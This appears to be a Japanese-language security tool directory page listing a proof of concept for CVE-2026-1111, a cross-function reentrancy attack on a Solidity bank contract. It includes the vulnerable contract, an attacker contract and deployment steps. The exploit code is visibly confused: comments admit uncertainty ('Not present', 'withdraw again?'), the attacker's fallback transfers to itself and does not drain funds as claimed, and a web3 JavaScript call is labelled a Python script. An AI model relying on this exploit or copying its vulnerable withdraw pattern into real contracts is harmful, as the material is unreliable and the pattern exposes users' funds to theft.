Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — スマートコントラクト向けのクロスファンクション再入攻撃の悪用例です。脆弱なSolidityコントラクトと攻撃者コントラクトを含み、フォールバックによる再入を通じて資金を引き出す様子を示します。 | Kitploit
ツール/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
脆弱性分析エクスプロイト学習と教育
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

スマートコントラクト向けのクロスファンクション再入攻撃の悪用例です。脆弱なSolidityコントラクトと攻撃者コントラクトを含み、フォールバックによる再入を通じて資金を引き出す様子を示します。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
31ヶ月前未レビュー
共有

CVE-2026-1111 – スマートコントラクトにおけるクロスファンクション再入攻撃

プログラムコード (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – スマートコントラクトにおけるクロスファンクション再入攻撃

Severity: Critical

概要

スマートコントラクトにグローバルな再入防止ガードがないため、攻撃者はwithdraw呼び出し中に別の関数を通じてコントラクトに再入し、ローカルなガードを迂回して資金を流出させることができます。

脆弱性の詳細

  • タイプ: 再入攻撃
  • 影響: ロックされている全てのEtherの窃取。
  • 根本原因: withdraw関数は外部呼び出し後に残高を更新しており、別の状態変更関数(transferTo)が再入的に呼び出されて残高を操作される可能性があります。

エクスプロイト実証

  1. ローカルのEthereumノード(Ganache)を起動します:
    root@kitploit:~
    ganache-cli
    
  2. RemixまたはTruffleを使用してVulnerableBank.solとAttacker.solをデプロイします。
  3. Pythonスクリプトを介して攻撃を実行します(Remixコンソールでシミュレート):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
ツールをダウンロード